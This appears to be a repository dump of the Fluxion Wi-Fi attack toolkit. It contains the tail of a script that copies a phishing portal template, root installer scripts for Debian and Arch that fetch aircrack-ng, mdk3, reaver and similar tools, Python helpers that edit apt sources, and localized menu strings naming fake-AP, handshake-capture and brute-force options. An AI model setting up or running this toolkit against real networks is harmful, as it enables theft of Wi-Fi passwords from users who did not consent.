        mkdir $DUMP_PATH/data &>$flux_output_device
        cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data
  }


######################################### < INTERFACE WEB > ########################################
top && setresolution && setinterface


================================================
FILE: install/add.py
================================================
#!/usr/bin/python

from os import system

commands = [
    "apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6",
    "echo '# Kali linux repositories",
    "deb http://http.kali.org/kali kali-rolling main contrib non-free",
    "apt-get update -m"
]

for i in commands:
    system(i)


================================================
FILE: install/arch-install.sh
================================================
#!/bin/bash

########## DEBUG Mode ##########
##                            ##
if [ -z ${INSTALLER_DEBUG+x} ]; then INSTALLER_DEBUG=0
else INSTALLER_DEBUG=1
fi
##                            ##
################################

#Config
version=2
revision=6
#Colors
red='\e[1;31m'
blue='\e[1;34m'
yellow='\e[1;33m'
transparent="\e[0m"

#DUMP_PATH
rm -rf /tmp/Installer/
mkdir /tmp/Installer/
DUMP_PATH="/tmp/Installer/"

function conditional_clear() {

	if [[ "$INSTALLER_output_device" != "/dev/stdout" ]]; then clear; fi
}

#Config_END
if [ $INSTALLER_DEBUG = 1 ]; then
	## Developer Mode
	export INSTALLER_output_device=/dev/stdout
	HOLD="-hold"
else
	## Normal Mode
	export INSTALLER_output_device=/dev/null
	HOLD=""
fi

#Check root
if [[ $EUID -ne 0 ]]; then
        echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root."$transparent
				exit
fi

clear

#Check for X display

if [ -z "${DISPLAY:-}" ]; then
    echo -e "\e[1;31mThe script should be executed inside a X (graphical) session."$transparent""
    exit 1
fi



function mostrarheader(){

	conditional_clear
	echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
	echo -e "$red[                                                      ]"
    echo -e "$red[  $red    FLUXION $version" "${yellow} ${red}  < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture >     "          ${blue}" ]"
	echo -e "$blue[                                                      ]"
	echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
	echo
	echo

}

function setresolution {

	function resA {

		TOPLEFT="-geometry 90x13+0+0"
		TOPRIGHT="-geometry 83x26-0+0"
		BOTTOMLEFT="-geometry 90x24+0-0"
		BOTTOMRIGHT="-geometry 75x12-0-0"
		TOPLEFTBIG="-geometry 91x42+0+0"
		TOPRIGHTBIG="-geometry 83x26-0+0"
	}

	function resB {

		TOPLEFT="-geometry 92x14+0+0"
		TOPRIGHT="-geometry 68x25-0+0"
		BOTTOMLEFT="-geometry 92x36+0-0"
		BOTTOMRIGHT="-geometry 74x20-0-0"
		TOPLEFTBIG="-geometry 100x52+0+0"
		TOPRIGHTBIG="-geometry 74x30-0+0"
	}
	function resC {

		TOPLEFT="-geometry 100x20+0+0"
		TOPRIGHT="-geometry 109x20-0+0"
		BOTTOMLEFT="-geometry 100x30+0-0"
		BOTTOMRIGHT="-geometry 109x20-0-0"
		TOPLEFTBIG="-geometry  100x52+0+0"
		TOPRIGHTBIG="-geometry 109x30-0+0"
	}
	function resD {
		TOPLEFT="-geometry 110x35+0+0"
		TOPRIGHT="-geometry 99x40-0+0"
		BOTTOMLEFT="-geometry 110x35+0-0"
		BOTTOMRIGHT="-geometry 99x30-0-0"
		TOPLEFTBIG="-geometry 110x72+0+0"
		TOPRIGHTBIG="-geometry 99x40-0+0"
	}
	function resE {
		TOPLEFT="-geometry 130x43+0+0"
		TOPRIGHT="-geometry 68x25-0+0"
		BOTTOMLEFT="-geometry 130x40+0-0"
		BOTTOMRIGHT="-geometry 132x35-0-0"
		TOPLEFTBIG="-geometry 130x85+0+0"
		TOPRIGHTBIG="-geometry 132x48-0+0"
	}
	function resF {
		TOPLEFT="-geometry 100x17+0+0"
		TOPRIGHT="-geometry 90x27-0+0"
		BOTTOMLEFT="-geometry 100x30+0-0"
		BOTTOMRIGHT="-geometry 90x20-0-0"
		TOPLEFTBIG="-geometry  100x70+0+0"
		TOPRIGHTBIG="-geometry 90x27-0+0"
}

detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
##  A) 1024x600
##  B) 1024x768
##  C) 1280x768
##  D) 1280x1024
##  E) 1600x1200
case $detectedresolution in
	"1024x600" ) resA ;;
	"1024x768" ) resB ;;
	"1280x768" ) resC ;;
	"1366x768" ) resC ;;
	"1280x1024" ) resD ;;
	"1600x1200" ) resE ;;
	"1366x768"  ) resF ;;
		  * ) resA ;;
esac
}

#Install Main
conditional_clear
mostrarheader

echo "Updating system..."
sudo pacman -S xterm --noconfirm


##############################

echo -ne "Aircrack-ng....."
	if ! hash aircrack-ng 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent
	 xterm $HOLD -title "Installing Aircrack-ng" -e pacman -S  aircrack-ng
	else
    echo -e "\e[1;32mOK!"$transparent
	fi
	sleep 0.025

##############################

echo -ne "Aireplay-ng....."
	if ! hash awk 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Awk" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  gawk
	else
		echo -e "\e[1;32mOK!"$transparent
	fi
	sleep 0.025
##############################

echo -ne "Airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Airodump-ng" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  aircrack-ng
else
	echo -e "\e[1;32mOK!"$transparent""
fi
##############################
	echo -ne "Bully..........."
	if ! hash bully 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		cd /tmp;sudo git clone https://aur.archlinux.org/bully.git 2>/dev/null;	cd bully; sudo makepkg; sudo pacman -U *.pkg.tar.xz
		xterm $HOLD -title "Installing Bully" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  bully
	else
		echo -e "\e[1;32mOK!"$transparent""
	fi
	sleep 0.025
##############################
echo -ne "Curl............"
	if ! hash curl 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Curl" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  curl
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Dhcpd..........."
	if ! hash dhcpd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing isc-dhcp-server" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S dhcp
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Hostapd........."
	if ! hash hostapd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Hostapd" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  hostapd
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Iwconfig........"
if ! hash iwconfig 2>/dev/null; then
			echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Iwconfig" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  iwconfig
else
	echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
##############################
	echo -ne "Lighttpd........"
	if ! hash lighttpd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Lighttpd" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  lighttpd
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Macchanger......"
	if ! hash macchanger 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Macchanger" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  macchanger
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Mdk3............"
	if ! hash mdk3 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Macchanger" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  mdk3
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025

##############################

echo -ne "Nmap............"
	if ! hash nmap 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Nmap" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S nmap
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################
echo -ne "Openssl........."
if ! hash openssl 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Openssl" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  openssl
else
	echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
##############################
echo -ne "Php-cgi........"
	if ! hash php-cgi 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing php-cgi" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  php-cgi
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

	echo -ne "Pyrit..........."
	if ! hash pyrit 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Pyrit" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  pyrit
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Python.........."
	if ! hash python 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Python" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  python
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025

##############################
	echo -ne "Reaver.........."
	if ! hash reaver 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Reaver" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  reaver
	else
		echo -e "\e[1;32mOK!"$transparent""
	fi
	sleep 0.025
##############################

	echo -ne "rfkill.........."
        if ! hash rfkill 2>/dev/null; then
              echo -e "\e[1;31mInstalling ..."$transparent""
              xterm $HOLD -title "Installing Rfkill" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  rfkill
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

##############################

echo -ne "Unzip..........."
	if ! hash unzip 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing unzip" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  unzip
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "strings.........."
if ! hash strings 2>/dev/null; then
        echo -e "\e[1;31mInstalling ..."$transparent""
        xterm $HOLD -title "Installing binutils" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  binutils
else
        echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
#############################
echo -ne "fuser............"
if ! hash fuser 2>/dev/null; then
        echo -e "\e[1;31mInstalling ..."$transparent""
        xterm $HOLD -title "Installing psmisc" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e pacman -S  psmisc
else
        echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
#############################

xterm $HOLD -title "Remove repositories"  -e python remove.py

git clone https://github.com/molovo/revolver revolver
chmod u+x revolver/revolver
mv revolver/revolver /usr/local/bin


================================================
FILE: install/install.sh
================================================
#!/bin/bash

########## DEBUG Mode ##########
##                            ##
if [ -z ${INSTALLER_DEBUG+x} ]; then INSTALLER_DEBUG=0
else INSTALLER_DEBUG=1
fi
##                            ##
################################

#Config
version=2
revision=8

#Colors
red='\e[1;31m'
blue='\e[1;34m'
yellow='\e[1;33m'
transparent="\e[0m"

#DUMP_PATH
rm -rf /tmp/Installer/
mkdir /tmp/Installer/
DUMP_PATH="/tmp/Installer/"

function conditional_clear() {

	if [[ "$INSTALLER_output_device" != "/dev/stdout" ]]; then clear; fi
}

#Config_END
if [ $INSTALLER_DEBUG = 1 ]; then
	## Developer Mode
	export INSTALLER_output_device=/dev/stdout
	HOLD="-hold"
else
	## Normal Mode
	export INSTALLER_output_device=/dev/null
	HOLD=""
fi

#Check root
if [[ $EUID -ne 0 ]]; then
        echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root."$transparent
				exit
fi

clear

#Check for X display

if [ -z "${DISPLAY:-}" ]; then
    echo -e "\e[1;31mThe script should be executed inside a X (graphical) session."$transparent""
    exit 1
fi



function mostrarheader(){

	conditional_clear
	echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
	echo -e "$red[                                                      ]"
	echo -e "$red[  $red    FLUXION $version" "${yellow} ${red}  < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture >     "          ${blue}" ]"
	echo -e "$blue[                                                      ]"
	echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
	echo
	echo

}

function setresolution {

	function resA {

		TOPLEFT="-geometry 90x13+0+0"
		TOPRIGHT="-geometry 83x26-0+0"
		BOTTOMLEFT="-geometry 90x24+0-0"
		BOTTOMRIGHT="-geometry 75x12-0-0"
		TOPLEFTBIG="-geometry 91x42+0+0"
		TOPRIGHTBIG="-geometry 83x26-0+0"
	}

	function resB {

		TOPLEFT="-geometry 92x14+0+0"
		TOPRIGHT="-geometry 68x25-0+0"
		BOTTOMLEFT="-geometry 92x36+0-0"
		BOTTOMRIGHT="-geometry 74x20-0-0"
		TOPLEFTBIG="-geometry 100x52+0+0"
		TOPRIGHTBIG="-geometry 74x30-0+0"
	}
	function resC {

		TOPLEFT="-geometry 100x20+0+0"
		TOPRIGHT="-geometry 109x20-0+0"
		BOTTOMLEFT="-geometry 100x30+0-0"
		BOTTOMRIGHT="-geometry 109x20-0-0"
		TOPLEFTBIG="-geometry  100x52+0+0"
		TOPRIGHTBIG="-geometry 109x30-0+0"
	}
	function resD {
		TOPLEFT="-geometry 110x35+0+0"
		TOPRIGHT="-geometry 99x40-0+0"
		BOTTOMLEFT="-geometry 110x35+0-0"
		BOTTOMRIGHT="-geometry 99x30-0-0"
		TOPLEFTBIG="-geometry 110x72+0+0"
		TOPRIGHTBIG="-geometry 99x40-0+0"
	}
	function resE {
		TOPLEFT="-geometry 130x43+0+0"
		TOPRIGHT="-geometry 68x25-0+0"
		BOTTOMLEFT="-geometry 130x40+0-0"
		BOTTOMRIGHT="-geometry 132x35-0-0"
		TOPLEFTBIG="-geometry 130x85+0+0"
		TOPRIGHTBIG="-geometry 132x48-0+0"
	}
	function resF {
		TOPLEFT="-geometry 100x17+0+0"
		TOPRIGHT="-geometry 90x27-0+0"
		BOTTOMLEFT="-geometry 100x30+0-0"
		BOTTOMRIGHT="-geometry 90x20-0-0"
		TOPLEFTBIG="-geometry  100x70+0+0"
		TOPRIGHTBIG="-geometry 90x27-0+0"
}

detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
##  A) 1024x600
##  B) 1024x768
##  C) 1280x768
##  D) 1280x1024
##  E) 1600x1200
case $detectedresolution in
	"1024x600" ) resA ;;
	"1024x768" ) resB ;;
	"1280x768" ) resC ;;
	"1366x768" ) resC ;;
	"1280x1024" ) resD ;;
	"1600x1200" ) resE ;;
	"1366x768"  ) resF ;;
		  * ) resA ;;
esac
}

#Install Main
conditional_clear
mostrarheader

echo "Updating system..."

#cleaning up
sudo apt-get install -f -y
sudo apt-get autoremove -y
sudo apt-get autoclean -y
sudo apt-get clean -y
sudo apt-get update
sudo apt-get install xterm --yes
clear
mostrarheader
xterm $HOLD -title "Updating System"  $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get install software-properties-common --yes
xterm $HOLD -title "Updating System"  $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e python remove.py
xterm $HOLD -title "Updating System"  $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e python add.py

##############################

echo -ne "Aircrack-ng....."
	if ! hash aircrack-ng 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent
	 xterm $HOLD -title "Installing Aircrack-ng" -e apt-get --yes install aircrack-ng
	else
    echo -e "\e[1;32mOK!"$transparent
	fi
	sleep 0.025

##############################

echo -ne "Aireplay-ng....."
	if ! hash awk 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Awk" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install gawk
	else
		echo -e "\e[1;32mOK!"$transparent
	fi
	sleep 0.025
##############################

echo -ne "Airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Airodump-ng" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install aircrack-ng
else
	echo -e "\e[1;32mOK!"$transparent""
fi
##############################
	echo -ne "Bully..........."
	if ! hash bully 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Bully" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install bully
	else
		echo -e "\e[1;32mOK!"$transparent""
	fi
	sleep 0.025
##############################
echo -ne "Curl............"
	if ! hash curl 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Curl" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install curl
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Dhcpd..........."
	if ! hash dhcpd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing isc-dhcp-server" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install isc-dhcp-server
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Hostapd........."
	if ! hash hostapd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Hostapd" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install hostapd
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Iwconfig........"
if ! hash iwconfig 2>/dev/null; then
			echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Iwconfig" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install iwconfig
else
	echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
##############################
	echo -ne "Lighttpd........"
	if ! hash lighttpd 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Lighttpd" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install lighttpd
	else
		echo -e "\e[1;32mOK!"$transparent
  	fi
	sleep 0.025
##############################

echo -ne "Macchanger......"
	if ! hash macchanger 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Macchanger" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install macchanger
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Mdk3............"
	if ! hash mdk3 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Macchanger" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install mdk3
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025

##############################

echo -ne "Nmap............"
	if ! hash nmap 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Nmap" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get install --yes nmap
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################
echo -ne "Openssl........."
if ! hash openssl 2>/dev/null; then
	echo -e "\e[1;31mInstalling ..."$transparent""
	xterm $HOLD -title "Installing Openssl" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install openssl
else
	echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
##############################
echo -ne "Php-cgi........."
	if ! hash php-cgi 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing php-cgi" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install php-cgi
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

	echo -ne "Pyrit..........."
	if ! hash pyrit 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		xterm $HOLD -title "Installing Pyrit" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install pyrit
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Python.........."
	if ! hash python 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing Python" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install python
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "rfkill.........."
        if ! hash rfkill 2>/dev/null; then
              echo -e "\e[1;31mInstalling ..."$transparent""
              xterm $HOLD -title "Installing Rfkill" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install rfkill
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

##############################

echo -ne "Unzip..........."
	if ! hash unzip 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
			xterm $HOLD -title "Installing unzip" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install unzip
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################

echo -ne "Xterm..........."
	if ! hash xterm 2>/dev/null; then
		echo -e "\e[1;31mInstalling ..."$transparent""
		apt-get install xterm
	else
		echo -e "\e[1;32mOK!"$transparent
  fi
	sleep 0.025
##############################
echo -ne "strings........."
if ! hash strings 2>/dev/null; then
        echo -e "\e[1;31mInstalling ..."$transparent""
        xterm $HOLD -title "Installing binutils" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install binutils
else
        echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
#############################
echo -ne "fuser..........."
if ! hash fuser 2>/dev/null; then
        echo -e "\e[1;31mInstalling ..."$transparent""
        xterm $HOLD -title "Installing psmisc" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e apt-get --yes install psmisc
else
        echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
#############################

xterm $HOLD -title "Remove repositories"  -e python remove.py

git clone https://github.com/molovo/revolver revolver
chmod u+x revolver/revolver
mv revolver/revolver /usr/local/bin


================================================
FILE: install/remove.py
================================================
#!/usr/bin/python

from os import remove

infile = "/etc/apt/sources.list"
outfile = "/etc/apt/sources.list"

delete_list = ["# Kali linux repositories | Added by Katoolin\n",
               "deb http: // http.kali.org / kali kali - rolling main contrib non - free\n",
               "deb http://repo.kali.org/kali kali-bleeding-edge main\n"]

fin = open(infile)
remove("/etc/apt/sources.list")
fout = open(outfile, "w+")
for line in fin:
    for word in delete_list:
        line = line.replace(word, "")
    fout.write(line)
fin.close()
fout.close()

print("\033[1;31mDONE!  \033[1;m")


================================================
FILE: language/bundle.sh
================================================

#EN
source $WORK_DIR/sites/neutra/en

#GER
source $WORK_DIR/sites/neutra/ger

#ESP
source $WORK_DIR/sites/neutra/esp

#IT
source $WORK_DIR/sites/neutra/it

#FR
source $WORK_DIR/sites/neutra/fr

#POR
source $WORK_DIR/sites/neutra/por

#RUS
source $WORK_DIR/sites/neutra/rus

#TR
source $WORK_DIR/sites/neutra/tr 

#RO
source $WORK_DIR/sites/neutra/ro 

#HU
source $WORK_DIR/sites/neutra/hu

#ARA
source $WORK_DIR/sites/neutra/ara

#CN
source $WORK_DIR/sites/neutra/cn 

#GR
source $WORK_DIR/sites/neutra/gr 

#CZ
source $WORK_DIR/sites/neutra/cz

#NO
source $WORK_DIR/sites/neutra/no

#BG
source $WORK_DIR/sites/neutra/bg

#SRB 
source $WORK_DIR/sites/neutra/srb

#PL
source $WORK_DIR/sites/neutra/pl

#ID
source $WORK_DIR/sites/neutra/id

#NL
source $WORK_DIR/sites/neutra/nl

#DAN
source $WORK_DIR/sites/neutra/dan

#TH 
source $WORK_DIR/sites/neutra/th

#HE 
source $WORK_DIR/sites/neutra/he

#Portuguese 
source $WORK_DIR/sites/neutra/por

# SVN
source $WORK_DIR/sites/neutra/svn

================================================
FILE: language/ch
================================================
setinterface_error="没有检测到网卡 退出..."
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_choosescan="选择信道"
	choosescan_option_1="所有信道 "
	choosescan_option_2="指定信道"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	scanchan_option_1="单一信道"
	scanchan_option_2="多个信道"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scanchan="正在扫描目标"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askAP="选择攻击选项"
	askAP_option_1="伪装AP - Hostapd ("$red"推荐)"
	askAP_option_4="暴力破解 - (需要握手包)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askauth="请选择验证密码方式"
	askauth_option_2="提供的wpa (易错)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthforce="握手包检查"
	deauthforce_option_1="aircrack-ng (Miss chance)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthMENU="*抓握手包*"
	deauthMENU_option_1="检查握手包"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_webinterface="请选择"
	header_ConnectionRESET="选择登陆界面"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	general_back="返回"
	general_error_1="未找到"
	general_case_error="未知选项. 请再次选择"
	general_exitmode="清理并退出"
	general_exitmode_3="关闭 "$grey"forwarding of packets"
	general_exitmode_4="清理 "$grey"iptables"
	general_exitmode_5="恢复 "$grey"tput"
	general_exitmode_6="重启 "$grey"Network-Manager"
	general_exitmode_7="清理完成!"
	general_exitmode_8="感谢使用fluxion!"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	selection_1="活动的客户端"
	selection_2="选择一个目标. 重扫 按$red r$transparent"


================================================
FILE: language/cz
================================================
header_setinterface="Vyberte rozhraní"
	setinterface_error="Žádná síťová rozhraní, zavíraní..."

	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_choosescan="Vyberte kanál"
	choosescan_option_1="Všechny kanály"
	choosescan_option_2="Specifický kanál(y)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	scanchan_option_1="Jeden kanál"
	scanchan_option_2="Více kanálů"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scan="Sledování WIFI"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scanchan="Skenování cíle"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
